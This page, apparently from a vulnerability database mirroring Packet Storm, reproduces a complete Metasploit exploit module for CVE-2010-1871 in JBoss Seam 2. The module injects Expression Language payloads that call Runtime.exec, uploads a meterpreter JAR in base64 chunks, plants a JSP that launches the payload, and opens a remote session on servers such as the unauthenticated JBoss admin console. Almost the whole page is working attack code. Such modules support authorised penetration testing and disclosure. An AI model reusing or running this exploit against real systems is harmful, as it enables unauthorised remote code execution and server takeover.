Lucene search
K

JBoss Seam 2 File Upload / Execute

🗓️ 03 Apr 2015 00:00:00Reported by vulp1n3Type 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 125 Views

JBoss Seam 2 File Upload and Execute vulnerabilit

Related
Code
`#  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'rex/proto/http'  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
include Msf::Exploit::FileDropper  
  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'JBoss Seam 2 File Upload and Execute',  
'Description' => %q{  
Versions of the JBoss Seam 2 framework < 2.2.1CR2 fails to properly  
sanitize inputs to some JBoss Expression Language expressions. As a  
result, attackers can gain remote code execution through the  
application server. This module leverages RCE to upload and execute  
a meterpreter payload.  
  
Versions of the JBoss AS admin-console are known to be vulnerable to  
this exploit, without requiring authentication. Tested against  
JBoss AS 5 and 6, running on Linux with JDKs 6 and 7.  
  
This module provides a more efficient method of exploitation - it  
does not loop to find desired Java classes and methods.  
  
NOTE: the check for upload success is not 100% accurate.  
NOTE 2: The module uploads the meterpreter JAR and a JSP to launch  
it.  
  
},  
'Author' => [ 'vulp1n3 <vulp1n3[at]gmail.com>' ],  
'References' =>  
[  
# JBoss EAP 4.3.0 does not properly sanitize JBoss EL inputs  
['CVE', '2010-1871'],  
['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=615956'],  
['URL', 'http://blog.o0o.nu/2010/07/cve-2010-1871-jboss-seam-framework.html'],  
['URL', 'http://archives.neohapsis.com/archives/bugtraq/2013-05/0117.html']  
],  
'DisclosureDate' => "Aug 05 2010",  
'License' => MSF_LICENSE,  
'Platform' => %w{ java },  
'Targets' =>  
[  
[ 'Java Universal',  
{  
'Arch' => ARCH_JAVA,  
'Platform' => 'java'  
},  
]  
],  
'DefaultTarget' => 0  
))  
  
register_options(  
[  
Opt::RPORT(8080),  
OptString.new('AGENT', [ true, "User-Agent to send with requests", "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"]),  
OptString.new('CTYPE', [ true, "Content-Type to send with requests", "application/x-www-form-urlencoded"]),  
OptString.new('TARGETURI', [ true, "URI that is built on JBoss Seam 2", "/admin-console/login.seam"]),  
OptInt.new('TIMEOUT', [ true, 'Timeout for web requests', 10]),  
OptString.new('FNAME', [ false, "Name of file to create - NO EXTENSION! (default: random)", nil]),  
OptInt.new('CHUNKSIZE', [ false, 'Size in bytes of chunk per request', 1024]),  
], self.class)  
end  
  
  
def check  
vprint_status("#{rhost}:#{rport} Checking for vulnerable JBoss Seam 2")  
uri = target_uri.path  
res = send_request_cgi(  
{  
'uri' => normalize_uri(uri),  
'method' => 'POST',  
'ctype' => datastore['CTYPE'],  
'agent' => datastore['AGENT'],  
'data' => "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime')}"  
}, timeout=datastore['TIMEOUT'])  
if (res and res.code == 302 and res.headers['Location'])  
vprint_debug("Server sent a 302 with location")  
if (res.headers['Location'] =~ %r(public\+static\+java\.lang\.Runtime\+java.lang.Runtime.getRuntime\%28\%29))  
report_vuln({  
:host => rhost,  
:port => rport,  
:name => "#{self.name} - #{uri}",  
:refs => self.references,  
:info => "Module #{self.fullname} found vulnerable JBoss Seam 2 resource."  
})  
return Exploit::CheckCode::Vulnerable  
else  
return Exploit::CheckCode::Safe  
end  
else  
return Exploit::CheckCode::Unknown  
end  
  
# If we reach this point, we didn't find the service  
return Exploit::CheckCode::Unknown  
end  
  
  
def execute_cmd(cmd)  
cmd_to_run = Rex::Text.uri_encode(cmd)  
vprint_status("#{rhost}:#{rport} Sending command: #{cmd_to_run}")  
uri = target_uri.path  
res = send_request_cgi(  
{  
'uri' => normalize_uri(uri),  
'method' => 'POST',  
'ctype' => datastore['CTYPE'],  
'agent' => datastore['AGENT'],  
'data' => "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime').invoke(expressions.getClass().forName('java.lang.Runtime')).exec('#{cmd_to_run}')}"  
}, timeout=datastore['TIMEOUT'])  
if (res and res.code == 302 and res.headers['Location'])  
if (res.headers['Location'] =~ %r(user=java.lang.UNIXProcess))  
vprint_status("#{rhost}:#{rport} Exploit successful")  
else  
vprint_status("#{rhost}:#{rport} Exploit failed.")  
end  
else  
vprint_status("#{rhost}:#{rport} Exploit failed.")  
end  
end  
  
  
def call_jsp(jspname)  
# TODO ugly way to strip off last resource on a path  
uri = target_uri.path  
*keep,ignore = uri.split(/\//)  
keep.push(jspname)  
uri = keep.join("/")  
uri = "/" + uri if (uri[0] != "/")  
  
res = send_request_cgi(  
{  
'uri' => normalize_uri(uri),  
'method' => 'POST',  
'ctype' => datastore['CTYPE'],  
'agent' => datastore['AGENT'],  
'data' => "sessionid=" + Rex::Text.rand_text_alpha(32)  
}, timeout=datastore['TIMEOUT'])  
if (res and res.code == 200)  
vprint_status("Successful request to JSP")  
else  
vprint_error("Failed to request JSP")  
end  
end  
  
  
def upload_jsp(filename,jarname)  
jsp_text = <<EOJSP  
<%@ page import="java.io.*"  
%><%@ page import="java.net.*"  
%><%  
URLClassLoader cl = new java.net.URLClassLoader(new java.net.URL[]{new java.io.File(request.getRealPath("/#{jarname}")).toURI().toURL()});  
Class c = cl.loadClass("metasploit.Payload");  
c.getMethod("main",Class.forName("[Ljava.lang.String;")).invoke(null,new java.lang.Object[]{new java.lang.String[0]});  
%>  
EOJSP  
vprint_status("Uploading JSP to launch payload")  
status = upload_file_chunk(filename,'false',jsp_text)  
if status  
vprint_status("JSP uploaded to to #{filename}")  
else  
vprint_error("Failed to upload file.")  
end  
  
@pl_sent = true  
end  
  
  
def upload_file_chunk(filename, append='false', chunk)  
# create URL-safe Base64-encoded version of chunk  
b64 = Rex::Text.encode_base64(chunk)  
b64 = b64.gsub("+","%2b")  
b64 = b64.gsub("/","%2f")  
  
uri = target_uri.path  
res = send_request_cgi(  
{  
'uri' => normalize_uri(uri),  
'method' => 'POST',  
'ctype' => datastore['CTYPE'],  
'agent' => datastore['AGENT'],  
'data' => "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.io.FileOutputStream').getConstructor('java.lang.String',expressions.getClass().forName('java.lang.Boolean').getField('TYPE').get(null)).newInstance(request.getRealPath('/#{filename}').replaceAll('\\\\\\\\','/'),#{append}).write(expressions.getClass().forName('sun.misc.BASE64Decoder').getConstructor(null).newInstance(null).decodeBuffer(request.getParameter('c'))).close()}&c=" + b64  
}, timeout=datastore['TIMEOUT'])  
if (res and res.code == 302 and res.headers['Location'])  
# TODO Including the conversationId part in this regex might cause  
# failure on other Seam applications. Needs more testing  
if (res.headers['Location'] =~ %r(user=&conversationId))  
#vprint_status("#{rhost}:#{rport} Exploit successful.")  
return true  
else  
#vprint_status("#{rhost}:#{rport} Exploit failed.")  
return false  
end  
else  
#vprint_status("#{rhost}:#{rport} Exploit failed.")  
return false  
end  
end  
  
  
def get_full_path(filename)  
#vprint_debug("Trying to find full path for #{filename}")  
  
uri = target_uri.path  
res = send_request_cgi(  
{  
'uri' => normalize_uri(uri),  
'method' => 'POST',  
'ctype' => datastore['CTYPE'],  
'agent' => datastore['AGENT'],  
'data' => "actionOutcome=/success.xhtml?user%3d%23{request.getRealPath('/#{filename}').replaceAll('\\\\\\\\','/')}"  
}, timeout=datastore['TIMEOUT'])  
if (res and res.code == 302 and res.headers['Location'])  
# the user argument should be set to the result of our call - which  
# will be the full path of our file  
matches = /.*user=(.+)\&.*/.match(res.headers['Location'])  
#vprint_debug("Location is " + res.headers['Location'])  
if (matches and matches.captures)  
return Rex::Text::uri_decode(matches.captures[0])  
else  
return nil  
end  
else  
return nil  
end  
end  
  
  
def java_stager(fname, chunk_size)  
@payload_exe = fname + ".jar"  
jsp_name = fname + ".jsp"  
  
#data = payload.encoded_jar.pack  
data = payload.encoded_jar.pack  
  
append = 'false'  
while (data.length > chunk_size)  
status = upload_file_chunk(@payload_exe, append, data[0, chunk_size])  
if status  
vprint_debug("Uploaded chunk")  
else  
vprint_error("Failed to upload chunk")  
break  
end  
data = data[chunk_size, data.length - chunk_size]  
# first chunk is an overwrite, afterwards, we need to append  
append = 'true'  
end  
status = upload_file_chunk(@payload_exe, 'true', data)  
if status  
vprint_status("Payload uploaded to " + @payload_exe)  
else  
vprint_error("Failed to upload file.")  
end  
  
# write a JSP that can call the payload in the jar  
upload_jsp(jsp_name, @payload_exe)  
  
pe_path = get_full_path(@payload_exe) || @payload_exe  
jsp_path = get_full_path(jsp_name) || jsp_name  
# try to clean up our stuff;  
register_files_for_cleanup(pe_path, jsp_path)  
  
# call the JSP to launch the payload  
call_jsp(jsp_name)  
end  
  
def exploit  
@pl_sent = false  
  
if check == Exploit::CheckCode::Vulnerable  
  
fname = datastore['FNAME'] || Rex::Text.rand_text_alpha(8+rand(8))  
  
vprint_status("#{rhost}:#{rport} Host is vulnerable")  
vprint_status("#{rhost}:#{rport} Uploading file...")  
  
# chunking code based on struts_code_exec_exception_delegator  
append = 'false'  
chunk_size = datastore['CHUNKSIZE']  
# sanity check  
if (chunk_size <= 0)  
vprint_error("Invalid chunk size #{chunk_size}")  
return  
end  
  
vprint_debug("Sending in chunks of #{chunk_size}")  
  
case target['Platform']  
when 'java'  
java_stager(fname, chunk_size)  
else  
fail_with(Failure::NoTarget, 'Unsupported target platform!')  
end  
  
handler  
end  
end  
end  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation